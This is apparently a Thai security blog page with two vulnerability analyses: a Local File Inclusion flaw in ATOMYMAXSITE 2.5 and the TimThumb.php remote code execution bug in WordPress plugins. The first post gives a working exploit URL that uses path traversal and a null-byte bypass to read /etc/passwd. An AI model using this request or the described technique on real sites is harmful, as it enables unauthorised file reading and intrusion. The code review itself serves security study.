หน้าเว็บ

วันพุธที่ 14 สิงหาคม พ.ศ. 2556

ช่องโหว่ Local File Inclusion ใน ATOMYMAXSITE 2.5


          สวัสดีครับเข้าเรื่องเลยดีกว่า.. เนื่องจากวันแม่ที่ผ่านมากลับบ้าน ว่าง เลยนั่งอ่านโค้ดของ maxsite 2.5 แล้วไปเจอโค้ดในไฟล์ index.php ในการเรียก template ที่โค้ด
// Calling TEMPLATE
require_once( 'templates/'.WEB_TEMPLATES.'/index.php' );
          เมื่อตามไปดูที่ไฟล์ index.php ของ template สมมุติว่าเป็น default template แล้วกันครับที่ path นี้ /templates/atomy/index.php จะเห็นว่ามีการใช้ฟังก์ชั่น require_once ซึ่งเป็นฟังก์ชั่นแนวเดียวกับ include อยู่ที่บรรทัดที่ 327
<?} else {
OpenTable();
require_once ("".$MODPATHFILE."");
 CloseTable();
} ?>
          เมื่อมีการเรียกใช้ $MODPATHFILE เรามาหาที่มาของตัวแปรนี้ แล้วก็มาเจอที่ไฟล์ /mainfile.php ที่ document root ครับซึ่งถูกเรียกใช้โดย index.php อยู่ในฟังก์ชัน GETMODULE ครับ มาดูฟังก์ชั่น GETMODULE ในไฟล์ mainfile.php กันครับ
function GETMODULE($name,$file){
    global $MODPATH, $MODPATHFILE ;
    if(!$name){$name= "index";}
    if(!$file){$file = "index";}
    $modpathfile="modules/".$name."/".$file.".php";
    if(file_exists($modpathfile)){
 $MODPATHFILE = $modpathfile;
 $MODPATH = "modules/".$name."/";
    }else{
 die (""._NO_MOD."");
    }
}
          มาดูโค้ดที่เรียกใช้ฟังก์ชั่น GETMODULE ในไฟล์ index.php กันครับ
GETMODULE($name,$file);
          ซึ่งค่าที่ส่งเข้าฟังก์ชั่น GETMODULE มีการรับมาจาก User ทาง GET Method จะทำให้เข้าเงื่อนไขคือ ตัวแปร $name จะเท่ากับค่าว่างถ้าไม่มีการ GET มาที่ parameter name ซึ่งตัวแปร $file ก็เช่นกันครับ
empty($_GET['name'])?$name="":$name=$_GET['name'];
empty($_GET['file'])?$file="":$file=$_GET['file'];
          เมื่อเข้าไปในฟังก์ชั่น GETMODULE จากบรรทัดที่ 28-29 จะเห็นว่าถ้าตัวแปร $name และ $file ไม่มีค่าจะเท่ากับ index ทั้งคู่แล้วมาอยู่ในตัวแปร $modpathfile โดยมี .php ปิดท้ายครับแต่เมื่อมีการ GET มาที่ parameter name จะกลายเป็นเข้าไปในโฟลเดอร์ของแต่ละ module แล้วระบุไฟล์ที่จะใช้งานโดยการ GET มาที่ parameter file ครับตัวอย่าง
http://localhost/maxsite/index.php?name=knowledge&file=readknowledge&id=2
          จะหมายความว่าเข้าไปที่โฟลเดอร์ knowledge ในโฟลเดอร์ modules ส่งค่า id=2 ไปที่ไฟล์ readknowledge.php ครับ (สังเกตุจากฟังก์ชั่น GETMODULE บรรทัดที่ 30)


          เมื่อได้ข้อสรุปมาแบบนี้แสดงว่า parameter name นั้นก็คือใส่ path เราก็ใช้เทคนิคย้อน path ไปโดย ../../../.. ไปเรื่อยๆ ส่วน parameter file ก็ใส่ไฟล์ที่เราต้องการจะ include ยกตัวอย่าง etc/passwd แต่ในกรณีนี้มีการระบุนามสกุลของไฟล์ชัดเจนว่าเป็น .php สังเกตจากฟังก์ชั่น GETMODULE บรรทัดที่ 30
$modpathfile="modules/".$name."/".$file.".php";
 if(file_exists($modpathfile)){
 $MODPATHFILE = $modpathfile;
          เมื่อเข้าเงื่อนไข if หมายความว่าถ้าไฟล์ที่จะ require_once นั้นมีจริงให้ตัวแปร $MODPATHFILE เท่ากับตัวแปร $modpathfile ดังกล่าว ถึงตอนนี้ก็ต้องใช้เทคนิค Null Byte ในการ Bypass ตัด .php ด้านหลังออกไปก็จะได้เป็น etc/passwd แต่เทคนิค Null Byte นี้จะต้องใช้กับ Linux Web Server และ PHP < 5.3.4 เท่านั้นครับสำหรับ URL ที่จะใช้ดึง etc/passwd ของ Web Server มาดูก็คือ
http://localhost/maxsite/index.php?name=../../../../..&file=etc/passwd
          ผลลัพธ์ที่ได้...


เรียบร้อยครับ,, ICheer_No0M
ปล. เพื่อการศึกษานะครับ :)

วันพฤหัสบดีที่ 8 สิงหาคม พ.ศ. 2556

In-Depth Analysis: Wordpress Timthumb.php



          สวัสดีครับ วันนี้เนื่องจากว่างหรือเปล่าไม่รู้เลยหาบัคเก่าๆหาอ่านเล่นๆ ไปเจอบัคในตำนานของ Wordpress นั่นคือ TimThumb.php ที่สามารถทำ Remote Code Execution ได้ครับ
          อย่ากระนั้นเลย เกิดความสงสัยว่าทำไมถึงได้มีช่องโหว่ RCE ได้ที่เห็นตามเว็บว่าเจ้า TimThumb.php นี้เจอเยอะใน Plugin/Theme ต่างๆของ Wordpress ผมจึงตามหาไฟล์ที่บัคเพื่อดูและวิเคราะห์โค้ดอย่างละเอียดจึงได้คำตอบมาเขียนได้อีก Topic หนึ่ง ._.
          เริ่มกันเลยดีกว่า TimThumb เป็น Plugin ในการย่อขยายรูปภาพอัตโนมัติ โดยที่ว่าเมื่อ User ทำการ Request ไปที่ Path includes/timthumb.php?src=[path ของรูปภาพ] แล้ว timthumb.php จะทำการสร้างรูปใหม่และไฟล์ cache ไว้ที่ cache/externel_[md5 ของลิงค์ src].php จากที่ดูตอนนี้น่าจะแก้หมดแล้ว ซึ่งบรรทัดที่ทำการรับค่า GET src มาก็คือบรรทัดที่ 40 เก็บไว้ในตัวแปร $src ครับ

$src = get_request ('src', '');

ตัวแปรที่เก็บชื่อไฟล์ที่ถูกสร้างใน cache อยู่ที่บรรทัด 602

$filename = 'external_' . md5 ($src);

ตัวแปรที่เก็บค่าไฟล์และที่อยู่ของไฟล์อยู่ที่บรรทัด 603

$local_filepath = DIRECTORY_CACHE . '/' . $filename . '.' . strtolower ($fileDetails['extension']);

          ส่วนโค้ดที่ใช้เขียนไฟล์ลง cache อยู่ที่บรรทัด 647 เป็นต้นไปครับ โดยมีการเช็คว่ามีฟังก์ชั่น curl_init ทำงานอยู่หรือเปล่าถ้ามีให้ทำงานตั้งแต่ 647 - 673

if (function_exists ('curl_init')) {

 global $fh;

 $fh = fopen ($local_filepath, 'w');
 $ch = curl_init ($src);

 curl_setopt ($ch, CURLOPT_TIMEOUT, CURL_TIMEOUT);
 curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0');
 curl_setopt ($ch, CURLOPT_URL, $src);
 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt ($ch, CURLOPT_HEADER, 0);
 curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
 curl_setopt ($ch, CURLOPT_FILE, $fh);
 curl_setopt ($ch, CURLOPT_WRITEFUNCTION, 'curl_write');

 // error so die
 if (curl_exec ($ch) === FALSE) {
  unlink ($local_filepath);
  touch ($local_filepath);
  display_error ('error reading file ' . $src . ' from remote host: ' . curl_error ($ch));
  }

 curl_close ($ch);
 fclose ($fh);
}

จากบรรทัดที่ 651 มีการเปิดไฟล์ cache ที่จะเขียนด้วยฟังก์ชั่น fopen

$fh = fopen ($local_filepath, 'w');

แล้วใช้ curl ในการ Request ไปหาเว็บเป้าหมายที่มีโค้ดของ php shell ฝังอยู่

curl_setopt ($ch, CURLOPT_URL, $src);

จากนั้นถูกระบุไฟล์ที่จะถูกเขียนตัวแปร $local_filepath ด้วย CURLOPT_FILE ซึ่งเป็น Option ของ cURL นั่นเอง

curl_setopt ($ch, CURLOPT_FILE, $fh);
//The file that the transfer should be written to. The default is STDOUT (the browser window).

บรรทัดต่อมาส่งข้อมูลที่จะเขียนลงไปในฟังก์ชั่น curl_write ที่ทำหน้าที่เขียนไฟล์ดังกล่าวด้วย CURLOPT_WRITEFUNCTION ครับ

curl_setopt ($ch, CURLOPT_WRITEFUNCTION, 'curl_write');
//The internal CURLOPT_WRITEFUNCTION will write the data to the FILE * given with this option, or to stdout if this option hasn't been set.

มาดูฟังก์ชั่น curl_write กันครับ :)

function curl_write ($handle, $data) {

 global $external_data_string, $fh;

 fwrite ($fh, $data);
 $external_data_string .= $data;

 if (strlen ($external_data_string) > MAX_FILE_SIZE) {
  return 0;
 } else {
  return strlen ($data);
 }

}

จะเห็นว่ามีการใช้ fwrite ซึ่งเป็นฟังก์ชั่นเขียนไฟล์ของ php ครับ

fwrite ($fh, $data);

          แต่ถ้าออกนอกเงื่อนไขซึ่งไม่มี curl_init จะทำคำสั่งด้านหลัง else คือเขียนไฟล์ด้วยฟังก์ชั่น file_put_contents

} else {

 if (!$img = file_get_contents ($src)) {
  display_error ('remote file for ' . $src . ' can not be accessed. It is likely that the file permissions are restricted');
 }

 if (file_put_contents ($local_filepath, $img) == FALSE) {
  display_error ('error writing temporary file');
 }

}

          ซึ่งจากโค้ดคือการอ่านไฟล์จาก URL ในตัวแปร $src มาเก็บไว้ในตัวแปร $img แล้วทำการเขียนลงใน Path ที่อยู่ในตัวแปร $local_filepath ด้วยฟังก์ชั่น file_put_contents ครับ
          แต่ช่องโหว่นี้ต้อง GET Request ลิงค์ที่มี malicious code ฝังอยู่แต่เนื้อหาด้านในต้องเป็นรูปภาพเพราะ Timthumb เป็น Plugin ที่ใช้ย่อขนาดของรูปภาพ จบการชำแหละครับ ส่วนวิธีการป้องกันก็ Update ให้เป็น Version ใหม่ครับ,, ICheer_No0M

Ref : timthumb.php 1.27
Ref : Multiple Wordpress Plugin timthumb.php Vulnerabilites
Ref : TimThumb Demo: Part 2 – Images on External Websites